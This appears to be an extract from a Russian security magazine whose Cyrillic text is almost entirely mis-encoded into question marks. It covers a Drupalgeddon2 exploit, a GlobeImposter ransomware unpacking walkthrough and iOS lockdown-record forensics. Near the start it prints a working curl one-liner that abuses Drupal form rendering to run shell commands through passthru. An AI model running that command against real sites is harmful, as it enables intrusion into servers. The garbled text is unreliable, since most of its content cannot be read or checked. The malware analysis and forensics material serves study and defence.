??�?????�??�??�??�??燚rupal�??�???�???�??�??��??�??�???�??��???�????�?.
$燾url�s�?globof�"http://drupal.vh/user/password?name[%23post
_render][]=passthru&name[%23children]=ls"�?data�"_triggering_ele
ment_name=name&form_id=user_pass"|grep爁orm_build_id|awk�F'"'�'{
print�$6}'|xargs�I^燾url�s�"http://drupal.vh/file/ajax/name/%23defa
ult_value/^"�?data�"form_build_id=^"
???�??��???�????�?�??�?�??�??�??�??�?????�??�??????�燚rupal��???�
?????,�?�??�???�??�??�??�???�??�??�??�??�???.
???�??�??�??�??燚rupal��??????燾url
??�???�???,� ?????�??�?� ???� ???????� ???�??�??�?� ???� ????�???�??�??� ????�
???�??�??� ????� ???�????�?.� ????� ????�??�?,� ??� ???????�??� ????�???� ????�
?????�?�?????�????爂ithub.com/dreadlocked/Drupalgeddon2.
????????????�?????????�(?????)
??????
??�??�??�??�?�??�????�??�???�????�?�?�???�??,�??�?�???�??�????�
??�??�??,��?�???�??�????�????�??�??�??�???��????�?�???�?????
?????� ?????�??�?� ???� ????� ???�????� ???�??� ?� ???�??� ????�?????�?,� ????�
????� ???� ??????� ???�???� ???� ??????�??� ???�??� ???� ???�?� ???�??� ???�?????
???�??� ???????.� ???� ???� ?????� ?????????�?,� ????� ?� ????� ??????� ????�??�??
Drupal�?�??�?????�??�??.
?????
Nik燴erof
xtahi0nix@gmail.com
??????
??????????
?????????�????????�????
??�??????�?????????
GLOBEIMPOSTER�0
???�????�?�??????�????�??�???�???�???�?,�??�??�???
???�???� ????????????� �????�??粻 ???????� ???�?� ??????
???� ???�??�???.� ???�??� ???�?� ??????�???�?� ??� ????�???�
??????� ????�??,� ?� ???�?????� ???�??�??,� ???� ????�???
???????�?�???.��?????,�??�???��????�???�???,�?�???�
????� ???�????�?� ???�????�?� GlobeImposter� 2.0,� ???�???�
???�?��??�?�???�???�???.
????�?�?????,�????��??�???�????,�??????�??�???�???�??�?,�?�???
?????�???� ??� ???�??.� ?� ????� ???�???,� ???�??�???� ??????�?� ???� ???�????
????�?????� ?� ?????�?� ????�????:� ???� ?????� ???�???�??�???� ???�??� ???�?,
?????�????� ?� ????�????� ????�???�??�??� ???�??,� ???�???� ????�???�??
??????�???�?�??�????�??�????���????�??�??�?�??�??????�??�??�???�
?????�??�?????�???�?????�??????�??��??�???�??.
??�?� ???�???,� ???� ??????�??????� ???????� ?� ???�??�????� ??� ????�?� ????�
??????�???�?� ?� ???,� ???� ?????� ????� ?????� ???� ???�??� ???�????�??� ??:
?????�??�?????�?????�???�???�?�??????�??�???�????�??�???,�??�?
????????� ????� ????�??�?� ??� ???????�??� ????� ?????�????� ???� ????�???
???????�?�????�??�??,�??�?????�??�????�??�?�??�??�???.
??????�?????�?燝LOBEIMPOSTER
?�??�?�17�???�???�????�??�???�????�?????�?�??�??????�????�???�
?????� Necurs� ?????� ???�??� GlobeImposter� ?� ???�?????�???,� ???�????�?
?????� ??� ?????�????�??� ??� ???�?.� ????�??� ???�?� ???�????�???� ??� ????�
????�?� ????�???�?� ??� ??????�??,� ?� ??� ???� ???�???� ???????� ???� ???
????????.� ???� ????�?,� ???�??�?� ????�?,� ?� ???�??� ????�?� ???�????� ?????
?�????�??�???營DA.
??�??�??????�??�???�??燝lobeImposter
WARNING
???� ???�??�??� ?� ??????� ???�????� ?????�?????
????�?� ???�????�??� ??????,� ???????� ????� ????�
????�???�?�???.�???�??�?????�?�?�???????
?????�??�?,� ????????????�???� GlobeImposter
?????�???????�??��????�?????�???�??�??.
??�????,�??�???�??�??�???,�營DA�?�????�???�???�??�???�??�?.
???�?????�?�???????�??�??�?,�????�?�???�??,�??�??�??????� Detect營t
Easy��??????�??�????�??�??????��??�??�????.
???�??燚IE
??�??�??
DIE�?�?????�???�??�?????,�??????�?�????�??��??�??�???�??�??�?
?� ???�?.� ??????� ???�????� ???� ?????� ?� ????�????� pestudio,� ???� ????� ???�?
???????�??��????�???�??�?��??�???�?�???�??�?燰irusTotal.
??�??�??????�??�???�??燝lobeImposter�爌estudio
??�???�???,� VirusTotal� ????� ???�?� ???�???�????,� ???� ???� ?????� ????� ??????�
????�???�??�??�???.�?�????�??�???�???�?�?�??�????�??�???�?????�
??�??????�???�??�??�??????�??,�??�?�??�???�???��?????�??�?????�
??????�??� WinAPI.� ?� ?????� ???�??� ??� ??????�?,� ???� ???� ?????� ???�????
?�??�??�??�??�?�??�?????�???.�??�???�?????�?????��???????�???�
??� ????�???� ???�????�??� ??????� ?� ???�?????� ?????� ?� ????????.� ??� ?????
????�?????�?�??????�??爔64dbg,�??�??�??�???�????�?????�??�??�???.
??�??�??????�??�???�??燝lobeImposter�爔32dbg
????�???�?��??�????�?
????,� ?????� ???�????� ?� ????????,� ?� ?????� ????� ??????�??� ???????�??
???????� ?� ??????�??.� ?????�???�???� ?� ????�???�????� ????� ?� ????� ???�?,
?????� ???????� ???�???� G.� ????�??�??� ????�???�????� ????� ????�?????,
?� ???�?� ???�???� ???�?.� ???� ???� ????�?� ????�?� ???� ???�????�?,� ???� ???�?
???�?� OEP� (Original� Entry� Point� ?� ???�?????�??� ???�?� ???�?),� ???�?,� ?????
??�??,�????�???��??�??�?.�???�???�???�?�?�???�???�??�???,�??�?
???�???� ???,� ??????�?????� ??????� ?� ???????� ????�??� ???�????� ??????.
????�???�??�???�??�???��???�??,�?????�?�??????�??�????�???��????
???�???.
??�??�??�???�?�???�?????�??�?�???�???�?�????�403F30,�?�?????�?
???????�?�????燾all,��????�??�???�????.
INFO
??� ?????� ????� ???�?� ??� ???�???� ???�?� ????�???
?�??�??�???�???�?????�??�??�???�?�??�?�
???� ?????� ????� ?????� ???�???�?????� ???�???,
???????� ???�???�???� ???� ???????� ???� ?????�??
???�????�??�?????.�?�?�?????�?��??�????�
???�??� ???�?� ?� ?????� ???�?????� ????� ???�??
???�??????�??,� ????� ????�?� ???�?� ????�???�?
??�??�??�??�??????�??�??�??�?????�?.
???�???�?� ???�?� ????�???,� ?� ??� ???�???�???� ?� ?????� call� ransom_?
glob_sample.401100,�??�?�??�??????,�??�??�??�???�??.
??� ?????� ????�??�???� ???�??� ???�???.� ?????� ???????� ???�???�???� ????
?�??�????�??�??�?�?�??????�??�???.�??�??�????�???�??�??�???�??
push� ebp� ?� ???????� �??�??� ?� ????????� ???�???�,� ????� ??????� ??????
Shift�+燜.
??�???,� ???�?� ??� ????�?� ????� ???�???,� ?????� ???�???� ????�??�?.� ???�?
???�???�?��??�?�???�???,�??????�?????�???�?????�燞TTP??????�????�
???,�?�???�?�??�????:�??????�?,�??????�?????�???��??�???燱inAPI,
???????.
???�??�?,�??�???�??�??�?�???�????,�?????�??�??�?????�?�??????
???�????� ?� ?????�??� ???????�??� ??� ??� ?????� ????????.� ???�????,� ???� ????�
???�???� ??????� ???�???� WinHttpConnect� ????�?????� ????????� ?????�??
?????�?�?????燱inHttpOpen,��??�?�??�??��???.�??�?�??�????.
HINTERNET燱INAPI燱inHttpConnect(
_In_牋牋牋燞INTERNET牋牋爃Session,
_In_牋牋牋燣PCWSTR牋牋牋爌swzServerName,
_In_牋牋牋營NTERNET_PORT爊ServerPort,
_Reserved_燚WORD牋牋牋牋燿wReserved
);
??�?�??�??�????�?????�?�?�????,�??�???�??�??燦ULL��???�?�?????
??�??�???.�??�?????�燗SM????�????,��??�???�?????�???�???.�??�?
????�?:� ????� ????�?????� ???�?� ????�???� ???� ????�?� ????�?� ???�?� ??????�?
???�?,� ???� ??� ???�???�?,� ??????� ???� ???� ??� ???????� ???????�??.� ??� ???�??
???�??,� ???� ???�???�??� ???� ???�??� ?????�?� ???�?� ??????� ??� ??????�??�??
???�???,��??�??�??,�??�??�??�?????�?�???�????��??�????�?�??�??
??�??�?.�???�??�??.
????�???�?��????�??�???�??�???�????�???�???�?�????�????�????�
???�??�??????�???.
??�???�??�??�?????�??燱inAPI燰irtualProtect
?????��?????�??�??�?�??�????,�??????�???�???�???�????燗SCII??????�
????�????�?????� "VirtualProtect",��???�?�???�????� GetProcAddress.
????� ??� ???�????� ???�?� ????�???� ???�?� ???�?� GetProcAddress,� ??� ????�?
00401548,� ?� ?????�??� ????�????,� ??� ???�??,� ???� ???�???� VirtualProtect
�??????�?�.
??�???�???,� ???� ??????�??�??� ??????�??� ????�?� ???�???� WinAPI� Virtual?
Protect.��??�??�??�?�????�???�???�??�??�????�??�??�????�?!
INFO
???�??�?????�???�?��?????????�???�?�?????
?�??��??�??????�??�???�????�???�?�???�?.
??� ???� ???�?� ???�?� ????????� ??????� ?� ????�???
????�???� ???�???� ?� ???,� ???�?� ?????� ????�
????????� ?????�???� ???.� ???�???� Virtual?
Protect� ???� ???� ????�???� ????�???� ???�???
?� ????�??� ??????,� ?????�?� ???� ????� ???� ?????�
??????�???.
???�??�??�??�???�???�??�?????.�??�?�??�????.
BOOL燱INAPI燰irtualProtect(
_In_牋LPVOID爈pAddress,
_In_牋SIZE_T燿wSize,
_In_牋DWORD牋flNewProtect,
_Out_燩DWORD爈pflOldProtect
);
???�???�???�?�??�??�???????�???�??�???�� flNewProtect.�?�??�??
????�??�???�?�??�??�???��???�??�?????.�????�??�?????�?�???,�??�?
??????,�????�??�????�???�?????�???.
??�????�?燰irtualProtect��???�??�?
??�??,� ???� ??????�???� ???�????� 0x40,� ?� ???????�????� MSDN� ??�???�???
???,� ???� ???� ???�?� ??� ???�??,� ??????� ?� ?????�????.� ??� ??????�?� ???�???
????�?� ???????�??� ?� ???,� ???� ???�????� ????�??�??� ???� ????�?� ??????,
??????�????�??�?�???�???��???.�??�??�??�???�??�??�?�??�?�?????
VirtualProtect.
???�?� ????�?� ??� ?????� ?????� ????�??�???� ???�??� ???�???,� ???� ???� ???�?
????牜???�??��???????�??�???�.�??�?�??�???�???�??�???�?�??????
call,��????�???�?�??�??�???�??�??.�??�???????�?�?�??�???????�
???� PE?????,� ?� ???�??� ??????� ??� ????????� ??????�???�????� ???� ???�?
?????????.
?�?????�???�??�?.�??�?�?????,�??�?�?????�?,�????�???�???????�??
???�???�?�????�??�???�??,�???�?�??�??�?�??�???�?????� call,�???�
??� ????� ???�??� ?� ????.� ???�?� ????�??�??�?� ???�???� ???� ????� ????�??�??
???,�??????�??�?�????�???�?��??�??�???�????,��??�?????�??�???�?
?�?????.
??�??�????�??�???�??�?�???�?� 005DFA52��??�?????�?�???,�??????
?�???�?�爀bp?28.
???� ???�???� kernel32.dll� ?� ????�??�????� ???????�?,� ?� ???� ???????� ????
(???�?)�??�?�??�?????.�???�?�??�????�???�??�??�???,�?�??�??�?,
???�????�??�?�???�(???�?�?????� call,��??????�?�??�???)��??????�
???�??�?????�??�???�??�??�???燣oadLibrary/GetProcAddress.
????,�????�??�????�?�??�???�??� ret��??�???�???�??,�??�?�???�
????�?�?�??�??�?,�?�?????�?�?�???�?.�?????�??�????�??�??牜????�
??� ?????????粻 ???�????�?� ?????�??:� ???� ?????� ??????�??�??� ??????�??
????�??�??�???燱inAPI.
??�?� ???�???� ???�?� ????�???� ??� ???�??� push� eax� ?� ?????�???� ???
??� ???????�??,� ??� ???�??,� ???� ??????�???� ????�?� ???� ?????� ???�???,
???燰irtualFree,燝etVersionExA,燭erminateProcess,��??�??.�????�?????�
?????�?��???�???�????�???��???�??�?��???�????�???��?????�???�
???�???�??????��??�??�???�?�?????.
???�???,��?????�?????��??????,�??�???�????�?????�??????�??
???�??�????????�?)�???��??�?�??�?�??�???�??�??�?�??�??????�??
???,�???�???�??�???�????�??.
??�??� call� 80F98C� ?� ??� ???� ????,� ???� OutputDebugStringA� ?� ????�??�??
"Jump� OEP"!� ??� ????� ???????�?,� ????�?� ??????� ??????� ????�??�??
???????�??,�??????�????�?�???�???�??��??,�??�??�??�????�??�??
?燨EP.
??�?�?�??�????�??�?�???�???�?� jmp爀ax,��????�??�???�??�???
???�??????�??,�?�?�??�??�?�?燨EP�?????�?????.�????�??�?�????
??????�??�??�???營AT�??�????燬cylla,�??????�??�????�???�???�?�爔64dbg
(?????� ??� ???�??�?� IAT� Autosearch),� ?� ?????� ????� ????�??� Dump.� ???�?� ????�
?????� ???�?� ?� IDA� ??� ?????� ?????�????� ???�??� ???�???,� ???????� ???????
???��??,�??�???�??�??????�營DA�???�?�??�??�??�???�?????.
???�??????�??燝lobeImposter�營DA
??�???!
???????????
??????
??????
????�?????
???????�?�????????
??????????????�???????
�????????�
aoleg@voicecallcentral.com
???燗PPLE�???????�?????
?????�????????????,
???????????�?????
??????????????????�??????
??� ????�??�??� ??????�??� ???�??� iOS� ??� ?????�?� ?????
???????�??� ?� ????????� ????�??.� ??� ???�?????� ???�???�?
???燗pple�???�?????�???�??�???��??�?????�??�??�???,
?????�?� ?� ???�?????� ???�??� ?� ???????� ???�????�?� ????�
????�?.� ??� ?� ???�?????� ???�???� iOS� ???�?� ??� ????�?
???????�??,� ?� ?????� ????�??� ???� ???�???�????�??:� Apple
???� ????� ?� ????� ?????�????� ?� ???�???� ?????�??� ??????
????�?�?�??????,��?�?�??????.
??�?�??�??�???爄Phone��???�??�???�??????��?????�????�??�?,��???
?????�????�????�??�???�???�????�????�(???�???�?�?????��???�???�
??�燗ndroid,�??�?????�???,�???�???�???��?�??�???�???�??�??�?�???�
???�???�????�????燬mart燣ock).
??�??�????,� ?????�?,� ???�?,� ??� ???� ????� ??� ???�????� ??????�?.� ?� ????�
?????�??� ????�??�?� ???�??�?� ??????� ?� ???????�??,� ????�??� ???�??�???,
?� ????�??�??� ?????,� ???�??� ???�???�??,� ????,� ????�??� ???????�?,� ?????�
?????�??�????��??�??�??�??.�??�???????�??�?�???�???�?�???�???�
????,� ???� ????�?� ???????�??� ?� ???� ?????�???�???� ?� ???� ????�????� ????�
????�???�?�??�????��?�?????.
??�??�?�?�??�?�爄OS.��??�??�?�????�??�???�??�????�???燗pple
????�??�???�?� ???� ???�?????� ????� ???� ???�????� ??????� ???�??� ?� ???�?
??????��??�?�??�??.�?�?�??�?�?�??�????�???�??�??????�??�????�
??�??�?????�??????�??�????�???�????�?????�?�?�???�???�?�??�???
???�???�???????�??� ????�??,� ??????�???� ?� ???�??????� ?� ????�????� ????.
?????� ???�?????,� ???� ???� ??� ???????� ?� ?????� ??� ???� ???�???�???� ????
??�??�????�??�???�????�??,��?�??????.
?????????????�????????�燣OCKDOWN-?????
?�?????�???�?????��????,�??��??�?????�??�???爄Phone,�??�??�??�???
?� ????�??�??�?� ?????�??�?,� ???� ??????� ???�????�?� ??� ???????�?� ????????
????�????�????.�??�??�???�???�?�??:��???�??�?�???�???�??�??????�
???,�?????�???�??�??????�???�??�??�??�??,�???�?�???�??????�???
???�??�????� ?????�????�?.� ???� ????� ???�?� ????�?????�?� ???????�???
(?????� ???????�???,� ???�?� ?????� ???????� ?� ???�?� ?????�???� ??????
??????�???��??�??爄OS),爄Phone��????�???�??�??�???�?????�??�??????�
????�?????�???�??�???�????.
??� ?????�???�?� ???� ???�????� ???� ???�??????�??� ???�???� 玊rust� this� com?
puter?粻??�???�?爄Phone.��?????�???�??�????�?????�???�??�???�????
??� iPhone� (????�?� ????�?� ??????� ??????�???)� ???�???�?� ????� ????�?????�
?????�??� ???�??.� ????� ?????� ?????� ???�???�?� ?� ?????� ??????�???,� ?� ???�??
??????�?� ??� ?????�???,� ???????� ???�????� ??� ?� ????� ???�?� ?� ???� ???????�
???�?爈ockdown-???�?,�??爄Tunes爌airing爎ecord.�???�?�??�?�??�?�??�??
???�????�??�????�??�????�??�???�??�?爄Phone��????�??�??.
???�????�???�?????,�????�??�?�????�????��??�???�??�??爄Phone.
??�??�??�??????�??�??��???�??�?�??�??�???�??�?�??�??�??�???
??????�??� ???� ???????�???� iOS� ?� ???� ??????�???� ???????�??� ?????�????
???�??.� ???� ???????�??� ?????�???�?� ????�?� ???�?????�???� ???�????
??� ?????�??�?� ???�??� ?????�???� ?????� iPhone.� ???�???� ???� ???�?
???�?????�??�??�????�???�??�???�???�??�??�?�???�??????�(Elcomsoft
iOS� Forensic� Toolkit),� ???� ?� iTunes� (????�??,� ???????� ????� ????�??� ??????�???
???�?,�??�???�?�??�??�???�??�爄Tunes�???�?�???�????�??).�??�??�????�
???� ???�???� ?????� ?????�???� ?????� ?????� ?????�???� ????????� ???�??
???????�??,� ????�?????� ?� ????� ?� ???�??� ????�???�??� ???�???�??,
?�?????�???�?????�?�?�??????�??,�???�??�??�????��???�??�??????.
???�??�???�?� ?� lockdown.� ?????�?,� ???� ???� ???�????� ??????�??� ??????�
????� ?????� iPhone� ???�?� ???�??�???� ?� ?????�??�?,� ?� ???�??� ?� ?� ????�????�
???�???,� �??????�???粻 ?????�??�?.� ??????�???,� ???????�??�?� ??????�?
???�??�??�??�?�??�??�???�???爄Phone��??�????????�??�??�?�???�???�
?????�?????�???�??�???�?????
??�??�??.�??�??,�??�??�???�?�??�???�??�?�?????�???�?�????�
??????�??�??????�?�??�?,�??�??�??????�?�爈ockdown?????��??�?
???????�?�????�??�?��?????�?????�?�????�??�??�????�??�?.�????�
??� ???� ??????�?� ???�???�??�????�??� ???�???�??,� ???�????� Elcomsoft� iOS
Forensic燭oolkit.
??�??�????爈ockdown????�?
?�??,�???�????�?????�???
??�?� ?????�???� ??� ????�???�??� (lockdown?????� ??????�??�?),� ??� ???�???
?????�???�????�?????�???�?�??�????�?????�??�?�??�????�??�????�
????� ????�???????�?� ????�?????� ??????�???�??� ????�????.� ?� ???�???�??
???�???� iOS� ???� ???�?� ???�????�?� ????� ???�??�???�???� ??????�???
???� ??????� ??????� ???� ???�???� ????�??�??� ????�?� ?� ???�???�???� ???�??
玊rust爐his燾omputer?�,�?��??????爄OS��??�???�?????.
IOS�:�?????�?????????�??�???????????
?????????????�????????
??????� ???� ???� ????????� ??????�?� ?� ????�??� ?????�???� ???????�???.� ???�?
???�?�???��??????�?�?????,�??????�???��??�???�???�?�??�??????�
???�???�?� ????� ???�????� ?� ???�???,� ???�?� ??� ?????�?� ????????� ??� ???�???�?
???�??�???�??�??�???�???,�?�??�????�???�???�?�???�??.�??�??�??
?????� ????�?� ?????�?:� ??????� ???????.� ?� ??????� ?� ???�??�???�???!� �????�
???� ?� ???�???� ???� ??� ???�???� ???� ?????� ??????� ?????� ???�?� ???�?????�
????,� ?� ???????� ???????�???.� ?� ?????� ???� ??????�?� ????�?????,� ????????
???�????� ???� ???� ???�?� ??????,� ????� ???� ???� ???� ???�??�???�?�.� ???????
?� ????� ???�??�???�??�??� ???????,� ???????�???� ???� ???� ??� ?????�??.
???� ???�??�??� ???�???�?� ???�????�?� ???????� ???????� ?????� ???�???�??
??� ????,� ?� ???� ???�???�?� ??????�?� ???,� ???�?� ??� ??� ???�?????�??�?
??�????????.��??�?�??�??�??�???�??????�?????�?�??�????�?,�?????�
????�??� ???????� ??????�?� ?????� ??????� ?� ????�??�??�?� ??????�?� ????�?,
??�????�?????�?牜??????粻?�??�?????�???�????�(???�??�???�?�??�?,�???�
??� ?� ????�???� ????�??�???� ????�??� ??????�?� ???????�????,� ????�?????
???�???????�??�???�??????�????�?).
??�??�????�???�???�??�??�??�????�?爄Phone
???� ???�???�??� ????�??� ???????� ????�???�???�???� ?� ??????�????� ?� ????�
???�???�??�??� ???�?????� ?� ???�??�???�?� ?� ?????�??�?.� ????�??�???�???
??????�???�??�???�????�(Trust爐his燾omputer?),�??�???�?�?????�??�?????�
????� ?????,� ?????�???�?� ?????�????� ?� ???�?� ???�???�??.� ????�?� ????�
?????:�??�??�??�???�???�?,�??�?�???�???�??�??????��??�??�???�??
???�???�???�??�??�?�???�?,��????�??�???�?�??�?�??????�??�?牜????�
?????�??�????�?�????�???�??�????�?粻(?????,�?�??�???�??,�??�?????�
???�??�??�??�????,��??�???�??�?�???�????�?!).
????�?� ????� ???�????� ??????� ???�???� ???�?????�?� ??� ???????�????
Apple.
???�??� ????�???�???,� ???�??�??� Apple� ?� ?????� ???�??� ???�??� iOS� 11,
???�?� ?????� ????�??� ???� ????�??�????� ??????�???�??� ????�????.� ???????
?� iOS� 11.0� ???� ???�????� lockdown???????� ?????�????�?� ???�??�???�???
??????�???� ?� ???�???�???� ???�??� 玊rust� this� computer?�� ???�???� ??????�
??????�?�??�???�?�???�?�?????�??�????�?�?????�???.�???�?????�????�
??????,�?��?????�???�??�???�????�???�??�???�?�????.
?� ??????� ???� ???�???�??� ?????�??� ???� ?????� ????????� ???�??� ?????�
??????�?,�??�?�??????�???????�??�??�???�??�??�??�??????��??�???�
????�??�??�??�?????�?�??��???.�??�?�???,�??�???�??�???�?�?????
???????� ??????�?� ????�?????�??,� ???�??�??� ???�????????� ???� ??????�
??????� ???�???.� ?� ???� ???????�??�?� ??????�?� ???� ???�????� ?????�???
?????� ??????� ???�???�???� ??????� ??????� ???�????�?� ??????�???.� ???�???�
??????��??�??��????�??�?�???�?????�?,��?????�?,�??�????,�???�??
???????��?????�?????�????�??�???爈ockdown?????.
???�?????� ?????� ?� ???�????�?????� ???�???�???????�??� ????�??� ????
???�??�??�????,�?????�?????爈ockdown???????.
????????營OS�:�???????????????�??????????�????
????????燣OCKDOWN-???????
???�?�???�???,�???�?�??�?????�??�??�???�??�???�?�?????�??�?????�
??� ???� ???�??�????� ??????�???� iPhone� ???� iPad� ?� ?????�??�?� ???�?
???� ??????� lockdown???????,� ?????�??�??� ??� ?????�??�?� ????�?????�?.
??????� ??� 11??� ???�??� iOS� ????�???�??� ??� ??????�??????� ?????� ???????
??� ????.� Lockdown?????,� ???????� ?????�??�??� ??� ?????�??�?,� ???� ????
???????� ???�????� ????�?� ??????� ?� ??????.� ????� ???�??� ???�?� ?????�
????????� ???????:� ??� ??????�??� ????�?� ??� ???�??� ????�?� ???�???� ???�??
?�????�????爈ockdown????�?�???�?�??�???�?�?????,�???�?�?????.
??�???�??????爈ockdown????�?�??�????�????�??????�??�?爄Phone
?爄OS��??�????�???燗pple�??�?�???�???�??�?�???�??�????爈ockdown?
???????.� ?� ???�??� ????�??� iOS� 11� ????� ???�????� lockdown????????� ??� ????�
?????�??????�?��?�??????�??????�?�??�???�?.��???�?????�???????�
????� ????�????�?� ????� ???�????� lockdown????????:� ??????� ??� ???�?� ????
??????�?????��??????�???�?????�??�?�??�????�(????�?�?????�??�???�
?????:� ???�?� ?????�???�???� ????�?� ?� ?????�?� ???�????� lockdown???????
???�???�??�????�?????�???�??�???�????��????�??�??).
?� ????????�???� iOS� 11.3� ???�????� ?????�?????�?� ????�?????� ??????�?
???????�????,� ???????�??�?� �??�????粻 ?� ???????�??????� ????� ???�????
lockdown????????.� ???????� ?� iOS� 11.3� beta� lockdown????�?� ?????� ???�????�
????� ?� ???????� ????� ????� ?� ?????�?� ???�????.� ????�??,� ?� ??????� iOS
11.3� ?????�?????� ????� ???�????� lockdown� ????�???� ?????,� ??????�????
????�?� ???�?� ???�??�????�??� ?????�??� ?????????� ???�??�?,� ???�????
??�??�??��???�?�???�???�???�??�?�??�????爈ockdown.
???�??�???�???�?�???�????�??�???�?????�?�??�???�???�?????�??
?????�?????�??�??????�??:�??��??�???�?�?????�??�??�??�????爄Phone
?� ?????�??�?� ???�??�?� ??????� ???�????????� ???�??� 玊rust� this� PC?粻 ?� ????�
????� ??� ??????�?� ??????� ???�????�?.� ?� ???� ???????�???� ???????� ?????�??
?????� ??????�???�?� ?� ??????�???� ????� ????�??????� ???�???????�??
???????�??,� ???�?� ??????� ???�???� ???�??� ?????�???,� ?????� ????�?� ???�???
???�??� ?� ???�???�?????�?� ?????�??�??�?� lockdown???????�?,� ???�?
????????�??�??��????�?????�?????�?.
??�?�????�?????�???�??�????爈ockdown????????�??�?�??�??��???�
???� iOS� (?????�??,� ???�??� lockdown???????� ?????� ?????�?� ????� ??????),
?�?????�?�????�??�????�???�???�(???�????�?��???�?,�??�??�??�??
???�?� ???�????� ??????�???�??� ????�????� ????�??�??)� ???� ????,� ???�?
???????爈ockdown?????��????�??�?��??�???�?????�?�?�??�??????�???
?????�????� ???�??.� ????� ??� ????�???????� ???�?� ??� ???�??�??� iPhone
?�????�??�?,�?爈ockdown???????��??�?�????�?�??????.
?????�?????,�??�???�??�??�???�??�??�??�???�?燗pple��????�????�
???� ?????� ?� ???�???�??�???�???� ???????� ??????� ???�???�???????�??
????�??,�??????�????�???�???�?�??????�???�?�??�???????�??�????
(????�????????� ??????�??� ???�???????�??� ???????�??,� ???�???�??� ??????�
???��?????��?????�????).
??�???�?�???�??�????�?�???�???�???.
??????????? ??????
?
? �?????�?????
???????????
?????? ??????
???燗PPLE�???????�?????
?????�????????????,�??????????
??????�?????????????????�??????
IOS�.4:�?????????�?????�?????�????燯SB燫ESTRICTED
MODE?
???� ??� ????�???,� lockdown???????� ???�????�?� ???�????�???� ?????� ????
???�??�?????��????�?�??�????.�????�???�??,�???�?????�??�????�?
??????�???� ????�?????,� ?????�?????� ???�????�?� ?????� ????�??� ?� ????�??
???�??�??�???��??????�??,�????�??�????�????�???�????.
??�???!� ??????� ???�????�??� ???�???,� ???� ??????� ???�????�?� ???????�
????,� ?� ????????� ?� ????� ??� ??� ?????�???�??� ????�?,� ????�?????� ?????�
??????�?� ??� ???�???�????�??.� ????� ???�???�????�?� ???�??� ????????
??????,� ??� ???�?� ???�??� ???�?????� ?????� ???� ??????�???�??� ?????� (?� ???
??�?????��?????牜???�??�?�??�???�爄Phone,�???�??�???.�??�??�???
???�??,�??�??爄Cloud��??�???�?�?????�??�?????�???�):
? ??�?????爄Phone�?爄Cloud��????�???�??�???燜ind爉y爄Phone?
? ????�???� ????�?????�??� ?????�?????�??� (????� ???� ????� ?????�???)
???� ??????�?????� ??????�???� ???� ??????�??� ?????�???� ????,� ????� ???
????�???�???�????
? ????�???�?????�?�????�???�????,�??�??�???�??????��????�??�?,
???�???��??�????�???�????�???�?????
? ??�???� ???� ???�????�??� ??� ??????�???� ??????� (???� ???�?� ??� ?????�???
?????,�?????��??????�?�???�?�??�???�???,�??�?�????�???�?????
?????,�????�???�?????)?
? ???�???�?????�?�???�??�?????�???�?????�?燗pple營D?
? ???�???� ???� ???????�??� ??� iCloud,� ????�??� ??????� ??� iCloud� Keychain,
????????� ?????�???� ?????,� ?????�????� ?� ???�??�???�????�??� ???�??
(?????,�??�?�???��??????�??�????�?�?????�???��?????�?爄Cloud
??�????!)?
? ???�????�???� ???�?????�???� ???� ????�???� ?� ?????�???� ???�???�??
?????�?????�???燗pple,�??�????�??��??????�???�??�?????�(???�???
?�???�??�??�?????�???�???�?�???�?????�?).
???�???�???�?????�?�????�???�????�爄OS�
????�???�?�?????�爄Cloud�??�?????�?????�??�????�?
??�???�?????�燗pple營D�??�?????�??�??�?
???� ??????,� ?� Apple� ?????�?� ?� ???�???????� ???�??�??�??� ??????� (iOS� 8?
10)� ?� ????�??�??� ????�??�????� ???�???,� ???????�??� ?????�?????�?
??� ??????� ???�????�?� ??????�???.� ????�??� ??????� ??� ??????� ??????�???
????�?????�?� ?� ???????� ???�??� ???�??� ?� ???�??� ???� ??????�?� ??????�???,
???� ?� ??????� ???�???,� ???�????�???� ?� ???� ??� ????�??� ??????.� ????�?� ????
???�?�??�??�???�?��??�???�??��????�??�???�??�?????�????�?????,
?� Apple� ????�???� ???�???� ???�????�???????� ??� ????�?� ????� ?????�???�???,
???�???�???,��?????�??�????�?.
????,� ????� ???� ????�???� ????� ?� ???,� ???�?� ??????� ??????� ???�????�?
??????�???,��??�?�??�?????�?�??�?????�???�????
????�?� ?????� ???????� ???�??�?????� ???�???�???????�??� ????�??
?????�??� ???�???� (?� ???�???�??� ???�??� ????�???,� ?� ???�?� ???????� ???�??
??�??�??)�??�????燙ellebrite�燝rayshift.�??�??�????�?????�?????�???�
????�???????�??� ????�??� (?� ????�?� ??)� ????�???� ??????� ??????�??� iPhone
?� iPad� ???????� ???�???� ??????�?� (?� ???�??� ???�????????�????� ???????� ?
???�?�?�??�???).
??�????� ????� ???�????� ???�?????�?� ????�???�?.� Cellebrite� ????�???�?
????�?� ?� ????� ???�???,� ?� ???????� ???�???�?� ?????�???� ?� ????� ???�????,
?� ????�???�??�??�?� ???�???� ?� ???�????�???� ???�?????.� ?� ??� ??� ???�?
Grayshift� ???�????�?� ???�???�???????�??� ????�??� ???� ?� ??????� ???????
????�??�??????�??�???� ???�????� GrayKey,� ???�???�???� ???????� ?????�
??????� ??????� ??????�??� ???� ????�??????�?� ??� ?????????� ??????�???.� ???
???????� ??????�???� ????�??�???� ???�????�?� ???� ????,� ???�?� ??????
???????��???�?�?????燬ecure燛nclave,�??????�???�???�????�??��???
??????� ???�?� ????� ??????�??� ???????� ?� ???�????�?� ??????�?� ???�?� ??????
???????.� ????�???� ???�????� ??� ??,� ???� ???� ??????� ???�?� ???????� ???�??
?� lockdown????????� ??� ?????� ?� ???�????�?� ????� ???????� ???????�?� ??????�
?????�?�??�???�?燯SB.
????�?� ???� ???�???�??�????� ????� ??????�?� Apple� ?� ???�??�??� ???
??????�???�???� iOS.� ?� ????????�??� iOS� 11.3� ??????�?� ?????� ?????� USB
Restricted燤ode,�??????�?�???�??�??�???�?�??�???�??�????�??�???
??� ???�???�?� USB� ???�?� ??????�????� iPhone� ???� iPad� ?� ?????� ???�??
??????�????,� ???�??�??�??� ?� ????� ?????� ????� Lightning.� ???�????�?� ????�
??????� ?????� ????� ????� ?� ?????�?� ???�?????� ???�??�????�?� ??????�???� ?
??�???�???�???�?????�?,�???�????�?????�????�?�?????�???,�??�????
??� ??????.� ???� ????� ???�?� ?????� ???�????�?,� ????�?????� ???�??�???�???
??????�???�????�?????�?�??�?????�?????�??�????�?�(??�?????�?????�
????� ???�???).� ??????�?� ????�??,� ???� ?????� ?????� ???�?� ????� ?????�???
?�?????�????��???�??�?????�???�??�?????�??�??????�????.
INFO
?�???�?????�??�??�??爄OS�.3�????燯SB燫e?
